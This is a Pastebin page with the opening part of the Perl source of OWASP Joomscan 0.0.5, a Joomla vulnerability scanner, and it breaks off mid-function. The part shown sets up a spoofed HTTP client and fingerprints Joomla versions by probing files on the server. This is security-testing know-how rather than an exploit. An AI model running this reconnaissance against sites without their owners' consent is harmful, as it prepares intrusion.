felmoltor

Joomscan 0.0.5 - Fix bug with filesystem location

Feb 19th, 2014
465
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 109.36 KB | None | 0 0
  1. #!/usr/bin/env perl
  2. #=================================================================
  3. # OWASP Joomla! Vulnerability Scanner
  4. # (c) 2008-2099 Aung Khant, http://yehg.net/lab
  5. # YGN Ethical Hacker Group, YanGoN, Myanmar
  6. # Update by: Web-Center, http://web-center.si
  7. # Updated by: Felipe Molina (@felmoltor) on February 2014
  8. # DISCLAIMER:
  9. #
  10. # This scanner is intended only for testing your own Joomla web sites.
  11. # The author nor the yehg.net is not responsible for any damages you use this tool.
  12. # Results found using this tool are not guaranteed for accuracies.
  13. #
  14. #=================================================================
  15.  
  16. use warnings;
  17. use strict;
  18. use HTTP::Request::Common;
  19. use LWP::UserAgent;
  20. use Getopt::Std;
  21. use Time::localtime;
  22. use Time::Piece;    
  23. use Switch;
  24. use threads;
  25. use threads::shared;
  26. use Digest::MD5 qw(md5_hex);
  27. use Encode qw(encode_utf8);
  28. use HTML::Entities;
  29. use File::Basename;
  30.  
  31. ####### [Vars] #######
  32.  
  33. my(%args,%JOOMSCAN,$start_time,$end_time,$ltime,$today,$now,$urlfile,$txtfile,$outfile,$server_headers);
  34. my($found,$rfifound,$target,$domain_str,$base_url);
  35.  
  36. my $url:shared = '';
  37. my $admin_dir:shared = '';
  38. my $version:shared = '';
  39. my $exact_version_found:shared = 0;
  40. my $exact_version:shared = '';
  41. my @version_min_range:shared = ();
  42. my @version_max_range:shared = ();
  43. my $biggest_version_min = 0;
  44. my $lowest_version_max = 0;
  45. my $H200bypass = '';
  46.  
  47. my $J_GENERIC_HOLES = 0;
  48. my $J_CORE_HOLES = 0;
  49. my $J_CORE_MODULES_HOLES = 0;
  50. my $J_3rdParties_HOLES = 0;
  51.  
  52. my $J_XSS_HOLES = 0;
  53. my $J_SQLin_HOLES = 0;
  54. my $J_FI_HOLES = 0;
  55. my $J_INFO_HOLES = 0;
  56. my $J_DirTr_HOLES = 0;
  57. my $J_OTHER_HOLES = 0;
  58.  
  59.  
  60. ####### [/Vars] #######
  61.  
  62.  
  63. getopts("u:p:x:o:r:v:c:s:n:g:", \%args);
  64.  
  65. # FMT:
  66. # This is to allow joomscan being executed from everywere in your directory filesystem
  67. my $EXECDIR = dirname($0);
  68.  
  69. $JOOMSCAN{joomdbfile} = "$EXECDIR/joomscandb.txt";
  70. $JOOMSCAN{joomdbinfofile} = "$EXECDIR/joomscandb-info.txt";
  71. $JOOMSCAN{scanner_update_url} = 'http://yehg.net/lab/pr0js/tools/joomscan.php?'.time();
  72. $JOOMSCAN{scanner_update_note_url} = 'http://yehg.net/lab/pr0js/tools/joomscan.pl-update-note.php?'.time();
  73. $JOOMSCAN{scanner_download_url} = 'http://yehg.net/lab/pr0js/tools/joomscan-latest.zip?'.time();
  74. $JOOMSCAN{db_update_url} = 'http://web-center.si/joomscan/joomscandb.php?'.time();
  75. $JOOMSCAN{db_info_url} = 'http://web-center.si/joomscan/joomscandb-info.php?'.time();
  76. $JOOMSCAN{scanner_version} = '0.0.5';
  77. $JOOMSCAN{author} = reverse('ten.ghey[ta]tnahkgnua ,tnahK gnuA');
  78. $JOOMSCAN{bug_report_email} = 'ten.ghey@nacsmooj';
  79.  
  80.  
  81. $start_time = time();
  82. $end_time = 0;
  83. $now = ctime();
  84. $ltime = localtime; $today = $ltime->mdy("/");
  85. if ($0 =~ /:\\/g){$0 = 'joomscan.pl';}
  86.  
  87. open(JU, $JOOMSCAN{joomdbinfofile}) || die "Can't open $JOOMSCAN{joomdbinfofile} : $!";
  88. my @content = <JU>;
  89. chomp(@content);
  90. my($dbentry,$lastupdate) = @content;
  91. close(JU);
  92.  
  93. if(($ARGV[0]) && index($ARGV[0],"check") >= 0){check();}
  94. if(($ARGV[0]) && index($ARGV[0],"update") >= 0){update();}
  95. if(($ARGV[0]) && index($ARGV[0],"download") >= 0){download();}
  96. if(($ARGV[0]) && index($ARGV[0],"defense") >= 0){defense();}
  97. if(($ARGV[0]) && index($ARGV[0],"story") >= 0){story();}
  98. if( $#ARGV eq 1 && ($ARGV[0]) && index($ARGV[0],"read") >= 0){doc_read($ARGV[1]);}
  99.  
  100. ####### [Sign Agreement] ######
  101. sub make_agree
  102. {
  103.     print qq{
  104. Welcome to the
  105. OWASP Joomla! Vulnerability Scanner End-User License Agreement!    
  106.  
  107. [!] Before running the OWASP Joomla! Vulnerability Scanner,
  108. [!] you must agree to the following:
  109.     1. The scanner is to be run only on your own or your clients' sites
  110.    2. The scanner is released free of charge under GPL v3 and
  111.       has no guarantee for its accuracies.
  112.    3. OWASP or the author assumes no responsibilities for
  113.       your illegal misuse.    
  114.    
  115. [!] (y)es or (n)o - };
  116.    my $inp = <STDIN>;
  117.    chomp($inp);
  118.    if($inp eq 'y')
  119.    {
  120.        print qq{
  121. [!] You have signed the EULA of the OWASP Vulnerability Scanner.
  122.    Thank you.
  123.  
  124. Please wait ...\n"};
  125.        open(AG,">$EXECDIR/doc/AGREEMENT")|| die("$!");
  126.        print AG "ATTENTION:\nYou have signed agreement for legal use on the OWASP Vulnerability Scanner.";
  127.        close (AG);        
  128.        sleep(5);
  129.        if ($^O =~ /Win/) {system("cls");}else{system("clear");}  
  130.        
  131.    }else{exit 99;} undef($inp);
  132. }
  133. open(AG,"$EXECDIR/doc/AGREEMENT") || make_agree();
  134. close(AG);
  135. ####### [/Sign Agreement] ######
  136. ####### [Force Upgrade] ######
  137. use DirHandle;
  138.  
  139. my $dir_check = new DirHandle "$EXECDIR/report/assets";
  140. if (!defined $dir_check)
  141. {
  142.    print qq{
  143. [!] You're updating from version older versions, which is now deprecated.
  144. [!] Use: svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan/trunk joomscan
  145. [!] or download a full package version $JOOMSCAN{scanner_version}
  146. [!] Would you like me to download it? [y/n] };
  147.    my $uans = <STDIN>;
  148.    chomp($uans);
  149.    if($uans eq 'y')
  150.    {
  151.      download();
  152.    }
  153.    else
  154.    {    
  155.      system("mkdir report");
  156.      print "[!] Please find reports under report/ directory.\n"
  157.    }
  158.    undef $uans;
  159. }
  160. else
  161. {   ## free it
  162.     undef $dir_check;
  163. }
  164. ####### [/Force Upgrade] ######
  165.  
  166. # if you're ever lazy to check, uncomment this to autoupdate
  167. #auto_update();
  168.  
  169.  
  170. if (!$args{u}) {usage();}
  171. $url = $args{u};
  172. if ($url !~  /:\/\//){$url = 'http://'.$url;}
  173. if ($url =~  /\/$/){$url = substr($url,0,rindex($url,'/'));}
  174. if ($url =~ /\?/g){$url = substr($url, 0, index($url,'?'));}
  175.  
  176. $version = '';
  177.  
  178. $urlfile = $url;
  179. $urlfile =~ s/http:\/\///gi;
  180. $urlfile =~ s/https:\/\///gi;
  181. $urlfile =~ s/\//_/g;
  182. if (length($urlfile)>40){$urlfile = substr($urlfile,0,40).'...';}
  183. $urlfile .= '-joexploit.htm';
  184. $txtfile =  $urlfile;
  185. $urlfile = "$EXECDIR/report/".$urlfile;
  186. $txtfile =~ s/\.htm/\.txt/i;
  187. $txtfile = "$EXECDIR/report/".$txtfile;
  188. $outfile = ($args{o} && $args{o} eq 't')?$txtfile:$urlfile;
  189.  
  190. my $ua = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);
  191. my $uagent = 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3';
  192. my $cookie = '';
  193. my $proxy = '';
  194. if($args{g})
  195. {
  196.     $uagent = $args{g};
  197. }
  198. if($args{c})
  199. {
  200.     $cookie = $args{c};
  201.     $ua->cookie_jar({});
  202.     $ua->default_header('Cookie'=> "$cookie");
  203. }
  204. if($args{x})
  205. {
  206.     $proxy = $args{x};
  207.     if($proxy !~  /:\/\//){$proxy = 'http://'.$proxy;}
  208.     $ua->proxy(['http', 'ftp'],$proxy );
  209. }
  210. $ua->agent($uagent);
  211. $ua->default_header('Referer'=> "http://$url/");
  212. $ua->timeout(30);
  213.  
  214.  
  215. ### [Fingerprinting KB] ###
  216.  
  217. sub fprint_generic
  218. {
  219.      lock($version);
  220.      my $htmlContent = shift;
  221.      if (
  222.         ($htmlContent =~ m/<\/html>\n<!--\s\d{1,30}\s-->/gi) ||
  223.         (check_if_exists("$url".$admin_dir."templates/joomla_admin/images/security.png") =~ /200/g) ||
  224.          (check_if_exists("$url/language/english.xml") =~ /200/g)        
  225.          ||
  226.          ($ua->get("$url/index.php?option=com_h40xr")->content =~ /The\spage\syou\sare trying\sto\saccess\sdoes\snot\sexist/gi)
  227.         )
  228.     {
  229.         $version .= "~Generic version family ....... [1.0.x]\n\n";
  230.     }
  231.     elsif ( ($target->content =~ m/Joomla!\s1.5\s-\sOpen\sSource\sContent\sManagement/gi) ||
  232.            (check_if_exists("$url".$admin_dir."templates/khepri/images/j_login_lock.jpg") =~ /200/g) ||
  233.            (check_if_exists("$url".$admin_dir."templates/khepri/images/j_button1_next.png") =~ /200/g) ||          
  234.            ($ua->get("$url/index.php?option=com_h40xr")->content =~ /404\-\sComponent\snot\s found/gi)          
  235.           )
  236.     {
  237.         $version .= "~Generic version family ....... [1.5.x]\n\n";
  238.     }
  239.  
  240. }
  241. sub fprint_meta10x
  242. {
  243.     lock($version); lock(@version_min_range);lock(@version_max_range);    
  244.     my $htmlContent = shift;
  245.     if (
  246.         ($htmlContent =~ m/Joomla!\s\-\sCopyright\s\(C\)\s2005\sOpen\sSource\sMatters/gi)
  247.         && ($htmlContent =~ m/<\/html>\n<!--\s\d{1,30}\s-->/gi)
  248.        )
  249.     {
  250.         $version .= "~1.0.x meta tags revealed [1.0.0 - 1.0.8]\n";
  251.         push @version_min_range, 0;push @version_max_range, 8;
  252.     }    
  253.     elsif (($htmlContent =~ m/Joomla!\s-\sCopyright\s\(C\)\s2005\s\-\s2006\sOpen\sSource\sMatters/gi)
  254.           && ($htmlContent =~ m/<\/html>\n<!--\s\d{1,30}\s-->/gi)          
  255.         )
  256.     {
  257.         $version .= "~1.0.x meta tags revealed [1.0.9 - 1.0.12]\n";
  258.         push @version_min_range, 9;push @version_max_range, 12;
  259.     }    
  260.     elsif ( ($htmlContent =~ m/Joomla!\s-\sCopyright\s\(C\)\s2005\s\-\s2007\sOpen\sSource\sMatters/gi)
  261.         && ($htmlContent =~ m/<\/html>\n<!--\s\d{1,30}\s-->/gi)        
  262.         )      
  263.     {
  264.         $version .= "~1.0.x meta tags revealed [1.0.13 - 1.0.15]\n";
  265.         push @version_min_range, 13;push @version_max_range, 15;
  266.     }
  267.  
  268.    
  269. }
  270. sub fprint_htac10x
  271. {
  272.     lock($version); lock(@version_min_range);lock(@version_max_range);
  273.    
  274.     my $htac_req = $ua->get("$url/htaccess.txt");
  275.     if ($htac_req->status_line =~ /200/g)
  276.     {
  277.         my $htmlContent = $htac_req->content;
  278.  
  279.         if ($htmlContent =~ m/47\s2005\-09\-15\s02\:55\:27Z\srhuk/gi)        
  280.         {
  281.             $version .= "~1.0.x htaccess.txt revealed [1.0.0 - 1.0.2]\n";
  282.             push @version_min_range, 0;push @version_max_range, 2;
  283.         }    
  284.         elsif ($htmlContent =~ m/423\s2005\-10\-09\s18\:23\:50Z\sstingrey/gi)        
  285.         {
  286.             $version .= "~1.0.x htaccess.txt revealed 1.0.3\n";
  287.             $exact_version_found = 1;$exact_version = '1.0.3';
  288.         }    
  289.         elsif ($htmlContent =~ m/1005\s2005\-11\-13\s17\:33\:59Z\sstingrey/gi)             
  290.         {
  291.             $version .= "~1.0.x htaccess.txt revealed [1.0.4 - 1.0.5]\n";
  292.             push @version_min_range, 4;push @version_max_range, 5;
  293.         }
  294.         elsif ($htmlContent =~ m/1570\s2005\-12\-29\s05\:53\:33Z\seddieajau/gi)            
  295.         {
  296.             $version .= "~1.0.x htaccess.txt revealed [1.0.6 - 1.0.7]\n";
  297.             push @version_min_range, 6;push @version_max_range, 7;
  298.         }
  299.         elsif ($htmlContent =~ m/2368\s2006\-02\-14\s17\:40\:02Z\sstingrey/gi)             
  300.         {
  301.             $version .= "~1.0.x htaccess.txt revealed [1.0.8 - 1.0.9]\n";
  302.             push @version_min_range, 8;push @version_max_range, 9;
  303.         }
  304.         elsif ($htmlContent =~ m/4085\s2006\-06\-21\s16\:03\:54Z\sstingrey/gi)             
  305.         {
  306.             $version .= "~1.0.x htaccess.txt revealed 1.0.10\n";
  307.             $exact_version_found = 1;$exact_version = '1.0.10';            
  308.         }
  309.         elsif ($htmlContent =~ m/4756\s2006\-08\-25\s16\:07\:11Z\sstingrey/gi)             
  310.         {
  311.             $version .= "~1.0.x htaccess.txt revealed 1.0.11\n";
  312.             $exact_version_found = 1;$exact_version = '1.0.11';
  313.         }
  314.         elsif ($htmlContent =~ m/5973\s2006\-12\-11\s01\:26\:33Z\srobs/gi)             
  315.         {
  316.             $version .= "~1.0.x htaccess.txt revealed 1.0.12\n";
  317.             $exact_version_found = 1;$exact_version = '1.0.12';
  318.         }
  319.         elsif ($htmlContent =~ m/5975\s2006\-12\-11\s01\:26\:33Z\srobs/gi)             
  320.         {
  321.             $version .= "~1.0.x htaccess.txt revealed [1.0.13 - 1.0.15]\n";
  322.             push @version_min_range, 13;push @version_max_range, 15;
  323.         }
  324.     }    
  325. }
  326. sub fprint_config_dist10x
  327. {
  328.     lock($version); lock(@version_min_range);lock(@version_max_range);
  329.    
  330.     my $req = $ua->get("$url/configuration.php-dist");
  331.     if ($req->status_line =~ /200/g)
  332.     {
  333.         my $htmlContent = $req->content;
  334.  
  335.         if ($htmlContent =~ m/47\s2005\-09\-15\s02\:55\:27Z\srhuk/gi)        
  336.         {
  337.             $version .= "~1.0.x configuration.php-dist revealed 1.0.0\n";
  338.             $exact_version_found = 1;$exact_version = '1.0.0';
  339.         }    
  340.         elsif ($htmlContent =~ m/217\s2005\-09\-21\s15\:15\:58Z\sstingrey/gi)        
  341.         {
  342.             $version .= "~1.0.x configuration.php-dist revealed [1.0.1 - 1.0.2]\n";
  343.             push @version_min_range, 0;push @version_max_range, 2;
  344.         }    
  345.         elsif ($htmlContent =~ m/506\s2005\-10\-13\s05\:49\:24Z\sstingrey/gi)        
  346.         {
  347.             $version .= "~1.0.x configuration.php-dist revealed [1.0.3 - 1.0.7]\n";
  348.             push @version_min_range, 3;push @version_max_range, 7;
  349.         }
  350.         elsif ($htmlContent =~ m/2622\s2006\-02\-26\s04\:16\:09Z\sstingrey/gi)        
  351.         {
  352.             $version .= "~1.0.x configuration.php-dist revealed 1.0.8\n";
  353.             $exact_version_found = 1;$exact_version = '1.0.0';
  354.         }
  355.         elsif ($htmlContent =~ m/3754\s2006\-05\-31\s12\:08\:37Z\sstingrey/gi)        
  356.         {
  357.             $version .= "~1.0.x configuration.php-dist revealed [1.0.9 - 1.0.10]\n";
  358.             push @version_min_range, 9;push @version_max_range,10;
  359.         }
  360.         elsif ($htmlContent =~ m/4802\s2006\-08\-28\s16\:18\:33Z\sstingrey/gi)        
  361.         {
  362.             $version .= "~1.0.x configuration.php-dist revealed [1.0.11 - 1.0.12]\n";
  363.             push @version_min_range, 11;push @version_max_range, 12;
  364.         }
  365.         elsif ($htmlContent =~ m/7424\s2007\-05\-17\s15\:56\:10Z\srobs/gi)        
  366.         {
  367.             $version .= "~1.0.x configuration.php-dist revealed [1.0.13 - 1.0.15]\n";
  368.             push @version_min_range, 13;push @version_max_range, 15;
  369.         }
  370.        
  371.        
  372.     }    
  373. }
  374.  
  375. sub fprint_extended_10x
  376. {
  377.     lock($version); lock(@version_min_range);lock(@version_max_range);
  378.    
  379.     my $req = $ua->get("$url/includes/js/joomla.javascript.js");
  380.     if ($req->status_line =~ /200/g)
  381.     {
  382.         my $htmlContent = $req->content;
  383.         if ($htmlContent =~ m/47\s2005\-09\-15\s02:55:27Z\srhuk/gi)        
  384.         {
  385.             $version .= "~1.0.x joomla.javascript.js revealed 1.0.0\n";
  386.             $exact_version_found = 1;$exact_version = '1.0.0';
  387.         }
  388.         elsif ($htmlContent =~ m/199\s2005\-09\-20\s13:29:10Z\sstingrey/gi)        
  389.         {
  390.             $version .= "~1.0.x joomla.javascript.js revealed [1.0.1 - 1.0.7]\n";
  391.             push @version_min_range, 1;push @version_max_range, 7;
  392.         }        
  393.         elsif ($htmlContent =~ m/2316\s2006\-02\-12\s17:41:33Z\sstingrey/gi)        
  394.         {
  395.             $version .= "~1.0.x joomla.javascript.js revealed 1.0.8\n";
  396.             $exact_version_found = 1;$exact_version = '1.0.8';
  397.         }    
  398.         elsif ($htmlContent =~ m/3562\s2006\-05\-20\s12:27:49Z\sstingrey/gi)        
  399.         {
  400.             $version .= "~1.0.x joomla.javascript.js revealed [1.0.9 - 1.0.11]\n";
  401.             push @version_min_range, 9;push @version_max_range, 11;
  402.         }  
  403.         elsif ($htmlContent =~ m/5689\s2006\-11\-09\s00:55:42Z\sSaka/gi)        
  404.         {
  405.             $version .= "~1.0.x joomla.javascript.js revealed 1.0.12\n";
  406.             $exact_version_found = 1;$exact_version = '1.0.12';
  407.         }
  408.         elsif ($htmlContent =~ m/5691\s2006\-11\-09\s00:55:42Z\sSaka/gi)        
  409.         {
  410.             $version .= "~1.0.x joomla.javascript.js revealed [1.0.13 - 1.0.15]\n";
  411.             push @version_min_range, 13;push @version_max_range, 15;
  412.         }        
  413.     }
  414.  
  415.     $req = $ua->get("$url/mambots/content/moscode.xml");
  416.     if ($req->status_line =~ /200/g)
  417.     {
  418.         my $htmlContent = $req->content;        
  419.         if ($htmlContent =~ /<license>(.*?)<\/license>/gi)
  420.         {
  421.             $htmlContent = $1;
  422.         }
  423.         else
  424.         {
  425.              return;
  426.         }
  427.    
  428.         if ($htmlContent =~ m/copyleft/gi)        
  429.         {
  430.             $version .= "~1.0.x moscode.xml revealed [1.0.0 - 1.0.13]\n";
  431.             push @version_min_range,0 ;push @version_max_range, 13;
  432.         }    
  433.         elsif ($htmlContent =~ m/licenses/gi)        
  434.         {
  435.             $version .= "~1.0.x moscode.xml revealed [1.0.14 - 1.0.15]\n";
  436.             push @version_min_range, 14;push @version_max_range, 15;
  437.         }  
  438.    
  439.     }
  440.    
  441.     $req = $ua->get("$url/mambots/editors/tinymce.xml");
  442.     if ($req->status_line =~ /200/g)
  443.     {
  444.         my $htmlContent = $req->content;        
  445.    
  446.         if ($htmlContent =~ m/Load\sCSS\sclasses/g)        
  447.         {
  448.             $version .= "~1.0.x tinymce.xml revealed [1.0.0 - 1.0.5]\n";
  449.             push @version_min_range, 0;push @version_max_range, 5;
  450.         }    
  451.         elsif ($htmlContent =~ m/By\sdefault\sthe\sbot/g)        
  452.         {
  453.             $version .= "~1.0.x tinymce.xml revealed [1.0.6 - 1.0.15]\n";
  454.             push @version_min_range, 6;push @version_max_range, 15;
  455.         }  
  456.    
  457.     }    
  458.    
  459. }
  460. sub fprint_htac15x
  461. {
  462.     lock($version); lock(@version_min_range);lock(@version_max_range);
  463.    
  464.     my $htac_req = $ua->get("$url/htaccess.txt");
  465.     if ($htac_req->status_line =~ /200/g)
  466.     {
  467.         my $htmlContent = $htac_req->content;
  468.  
  469.         if ($htmlContent =~ m/4094\s2006\-06\-21\s18\:35\:46Z\sstingrey/gi)        
  470.         {
  471.             $version .= "~1.5.x htaccess.txt revealed 1.5.0-beta(12-Oct-2006)\n";
  472.             $exact_version_found = 1;$exact_version = '1.5.0-beta(12-Oct-2006)';
  473.         }
  474.         if ($htmlContent =~ m/9795\s2008\-01\-02\s11:33:07Z\srmuilwijk/gi)        
  475.         {
  476.             $version .= "~1.5.x htaccess.txt revealed 1.5.0-stable(21-January-2008)\n";
  477.             $exact_version_found = 1;$exact_version = '1.5.0-stable(21-January-2008)';
  478.         }                
  479.         elsif ($htmlContent =~ m/9975\s2008\-01\-30\s17\:02\:11Z\sircmaxell/gi)        
  480.         {
  481.             $version .= "~1.5.x htaccess.txt revealed [1.5.1 - 1.5.3]\n";
  482.             push @version_min_range, 1;push @version_max_range, 3;
  483.         }    
  484.         elsif ($htmlContent =~ m/10492\s2008\-07\-02\s06\:38\:28Z\sircmaxell/gi)
  485.         {
  486.             $version .= "~1.5.x htaccess.txt revealed [1.5.4 - 1.5.14]\n";
  487.             push @version_min_range, 4;push @version_max_range, 14;
  488.         }
  489.        
  490.     }    
  491. }
  492. sub fprint_config_dist15x
  493. {
  494.     lock($version); lock(@version_min_range);lock(@version_max_range);
  495.    
  496.     my $req = $ua->get("$url/configuration.php-dist");
  497.     if ($req->status_line =~ /200/g)
  498.     {
  499.         my $htmlContent = $req->content;
  500.  
  501.         if ($htmlContent =~ m/5361\s2006\-10\-07\s19\:21\:08Z\sJinx/gi)        
  502.         {
  503.             $version .= "~1.5.x configuration.php-dist revealed 1.5.0-beta(12-Oct-2006)\n";
  504.             $exact_version_found = 1;$exact_version = '1.5.0-beta';
  505.         }
  506.         if ($htmlContent =~ m/9764\s2007\-12\-30\s07:48:11Z\sircmaxell/gi)        
  507.         {
  508.             $version .= "~1.5.x configuration.php-dist revealed 1.5.0-stable(21-January-2008)\n";
  509.             $exact_version_found = 1;$exact_version = '1.5.0-stable';
  510.         }        
  511.         elsif ($htmlContent =~ m/9991\s2008\-02\-05\s22\:13\:22Z\sircmaxell/gi)        
  512.         {
  513.             $version .= "~1.5.x configuration.php-dist revealed [1.5.1 - 1.5.8]\n";
  514.             push @version_min_range, 1;push @version_max_range, 8;
  515.         }    
  516.         elsif ($htmlContent =~ m/11409\s2009\-01\-10\s02\:27\:08Z\swillebil/gi)        
  517.         {
  518.             $version .= "~1.5.x configuration.php-dist revealed 1.5.9\n";
  519.             $exact_version_found = 1;$exact_version = '1.5.9';
  520.         }
  521.         elsif ($htmlContent =~ m/11687\s2009\-03\-11\s17\:49\:23Z\sian/gi)        
  522.         {
  523.             $version .= "~1.5.x configuration.php-dist revealed [1.5.10 - 1.5.14]\n";
  524.             push @version_min_range, 10;push @version_max_range, 14;
  525.         }        
  526.        
  527.     }    
  528. }
  529.  
  530. sub fprint_enGBxml_15x
  531. {
  532.     lock($version); lock(@version_min_range);lock(@version_max_range);
  533.    
  534.     my $req = $ua->get("$url/language/en-GB/en-GB.xml");
  535.    
  536.    if ($req->status_line =~ /200/g)
  537.     {
  538.         my $htmlContent = $req->content;
  539.         if ($htmlContent =~ /<version>(.*?)<\/version>/gi)
  540.         {
  541.             $htmlContent = $1;
  542.         }
  543.         else
  544.         {
  545.              return;
  546.         }
  547.  
  548.         if ($htmlContent =~ m/1\.5\.0/gi)        
  549.         {
  550.             $version .= "~1.5.x en-GB.xml revealed [1.5.0 - 1.5.1]\n";
  551.             push @version_min_range, 0;push @version_max_range, 1;
  552.         }    
  553.         elsif ($htmlContent =~ m/1\.5\.2/gi)        
  554.         {
  555.             $version .= "~1.5.x en-GB.xml revealed [1.5.2 - 1.5.6]\n";
  556.             push @version_min_range, 2;push @version_max_range, 6;
  557.         }    
  558.         elsif ($htmlContent =~ m/1\.5\.7/gi)
  559.         {
  560.             $version .= "~1.5.x en-GB.xml revealed 1.5.7\n";            
  561.             $exact_version_found = 1;$exact_version = '1.5.7';
  562.         }
  563.         elsif ($htmlContent =~ m/1\.5\.8/gi)
  564.         {
  565.             $version .= "~1.5.x en-GB.xml revealed 1.5.8\n";
  566.             $exact_version_found = 1;$exact_version = '1.5.8';
  567.         }
  568.         elsif ($htmlContent =~ m/1\.5\.9/gi)
  569.         {
  570.             $version .= "~1.5.x en-GB.xml revealed [1.5.9 - 1.5.14]\n";
  571.             push @version_min_range, 9;push @version_max_range, 14;
  572.         }
  573.                
  574.     }    
  575. }
  576. sub fprint_enGBini_15x
  577. {
  578.     lock($version); lock(@version_min_range);lock(@version_max_range);
  579.    
  580.     my $req = $ua->get("$url/language/en-GB/en-GB.ini");
  581.     if ($req->status_line =~ /200/g)
  582.     {
  583.         my $htmlContent = $req->content;
  584.  
  585.         if ($htmlContent =~ m/version\s1\.5\.x\s2005\-10\-30\s14\:10\:00/gi)        
  586.         {
  587.             $version .= "~1.5.x en-GB.ini revealed 1.5.0-beta(12-Oct-2006)\n";
  588.             $exact_version_found = 1;$exact_version = '1.5.0-beta';
  589.         }
  590.         if ($htmlContent =~ m/9913\s2008\-01\-09\s21:28:35Z\sircmaxell/gi)        
  591.         {
  592.             $version .= "~1.5.x en-GB.ini revealed 1.5.0-stable(21-January-2008)\n";
  593.             $exact_version_found = 1;$exact_version = '1.5.0-stable';
  594.         }                
  595.         elsif ($htmlContent =~ m/9990\s2008\-02\-05\s21\:54\:06Z\sian/gi)        
  596.         {
  597.             $version .= "~1.5.x en-GB.ini revealed 1.5.1\n";
  598.             $exact_version_found = 1;$exact_version = '1.5.1';
  599.         }    
  600.         elsif ($htmlContent =~ m/10053\s2008\-02\-21\s18\:57\:54Z\smtk/gi)
  601.         {
  602.             $version .= "~1.5.x en-GB.ini revealed 1.5.2\n";
  603.             $exact_version_found = 1;$exact_version = '1.5.2';
  604.         }
  605.         elsif ($htmlContent =~ m/10208\s2008\-04\-17\s16\:43\:15Z\sircmaxell/gi)        
  606.         {
  607.             $version .= "~1.5.x en-GB.ini revealed 1.5.3\n";
  608.             $exact_version_found = 1;$exact_version = '1.5.3';
  609.         }    
  610.         elsif ($htmlContent =~ m/10498\s2008\-07\-04\s00\:05\:36Z\sian/gi)
  611.         {
  612.             $version .= "~1.5.x en-GB.ini revealed [1.5.4 - 1.5.7]\n";
  613.             push @version_min_range, 4;push @version_max_range, 7;
  614.         }
  615.         elsif ($htmlContent =~ m/11214\s2008\-10\-26\s01\:29\:04Z\sian/gi)
  616.         {
  617.             $version .= "~1.5.x en-GB.ini revealed 1.5.8\n";
  618.             $exact_version_found = 1;$exact_version = '1.5.8';
  619.         }
  620.         elsif ($htmlContent =~ m/11391\s2009\-01\-04\s13\:35\:50Z\sian/gi)        
  621.         {
  622.             ## Wierd about version 1.5.12
  623.             ## They modified the file without svn commit
  624.             if ($htmlContent =~ m/\%Y\-\%M\-\%D=\%Y\-\%m\-\%d/g)
  625.             {
  626.                 $version .= "~1.5.x en-GB.ini revealed [1.5.12 - 1.5.14]\n";
  627.                 push @version_min_range, 12;push @version_max_range, 14;                
  628.             }
  629.             else
  630.             {
  631.                 $version .= "~1.5.x en-GB.ini revealed [1.5.9 - 1.5.11]\n";
  632.                 push @version_min_range, 9;push @version_max_range, 11;    
  633.             }
  634.            
  635.         }    
  636.     }    
  637. }
  638.  
  639. sub fprint_admin_enGBini_15x
  640. {
  641.     lock($version); lock(@version_min_range);lock(@version_max_range);
  642.    
  643.     my $req = $ua->get("$url".$admin_dir."language/en-GB/en-GB.ini");
  644.    
  645.     if ($req->status_line =~ /200/g)
  646.     {
  647.         my $htmlContent = $req->content;
  648.  
  649.         if ($htmlContent =~ m/2005\-10\-06\s14:45:45/gi)        
  650.         {
  651.             $version .= "~1.5.x admin en-GB.ini revealed 1.5.0-beta(12-Oct-2006)\n";
  652.             $exact_version_found = 1;$exact_version = '1.5.0-beta';
  653.         }
  654.         if ($htmlContent =~ m/9869\s2008\-01\-05\s04:00:13Z\smtk/gi)        
  655.         {
  656.             $version .= "~1.5.x admin en-GB.ini revealed 1.5.0-stable(21-January-2008)\n";
  657.             $exact_version_found = 1;$exact_version = '1.5.0-stable';
  658.         }                
  659.         elsif ($htmlContent =~ m/9990\s2008\-02\-05\s21:54:06Z\sian/gi)        
  660.         {
  661.             $version .= "~1.5.x admin en-GB.ini revealed 1.5.1\n";
  662.             $exact_version_found = 1;$exact_version = '1.5.1';
  663.         }    
  664.         elsif ($htmlContent =~ m/10122\s2008\-03\-10\s11:58:27Z\swillebil/gi)
  665.         {
  666.             $version .= "~1.5.x admin en-GB.ini revealed 1.5.2\n";
  667.             $exact_version_found = 1;$exact_version = '1.5.2';
  668.         }
  669.         elsif ($htmlContent =~ m/10186\s2008\-04\-02\s13:10:12Z\spasamio/gi)        
  670.         {
  671.             $version .= "~1.5.x admin en-GB.ini revealed 1.5.3\n";
  672.             $exact_version_found = 1;$exact_version = '1.5.3';
  673.         }    
  674.         elsif ($htmlContent =~ m/10500\s2008\-07\-04\s06:57:07Z\sircmaxell/gi)
  675.         {
  676.             $version .= "~1.5.x admin en-GB.ini revealed 1.5.4\n";
  677.             $exact_version_found = 1;$exact_version = '1.5.4';
  678.         }
  679.         elsif ($htmlContent =~ m/10571\s2008\-07\-21\s01:27:35Z\spasamio/gi)
  680.         {            
  681.             $version .= "~1.5.x admin en-GB.ini revealed [1.5.5 - 1.5.7]\n";
  682.             push @version_min_range, 5;push @version_max_range, 7;
  683.            
  684.         }
  685.         elsif ($htmlContent =~ m/11213\s2008\-10\-25\s12:43:11Z\spasamio/gi)        
  686.         {
  687.             $version .= "~1.5.x admin en-GB.ini revealed 1.5.8\n";
  688.             $exact_version_found = 1;$exact_version = '1.5.8';
  689.         }
  690.         elsif ($htmlContent =~ m/11391\s2009\-01\-04\s13:35:50Z\sian/gi)        
  691.         {
  692.             $version .= "~1.5.x admin en-GB.ini revealed 1.5.9\n";
  693.             $exact_version_found = 1;$exact_version = '1.5.9';
  694.         }
  695.         elsif ($htmlContent =~ m/11667\s2009\-03\-08\s20:32:38Z\swillebil/gi)        
  696.         {
  697.             $version .= "~1.5.x admin en-GB.ini revealed 1.5.10\n";
  698.             $exact_version_found = 1;$exact_version = '1.5.10';
  699.         }
  700.         elsif ($htmlContent =~ m/11799\s2009\-05\-06\s02:15:50Z\sian/gi)        
  701.         {
  702.             $version .= "~1.5.x admin en-GB.ini revealed 1.5.11\n";
  703.             $exact_version_found = 1;$exact_version = '1.5.11';
  704.         }
  705.         elsif ($htmlContent =~ m/12308\s2009\-06\-23\s04:05:28Z\sian/gi)        
  706.         {
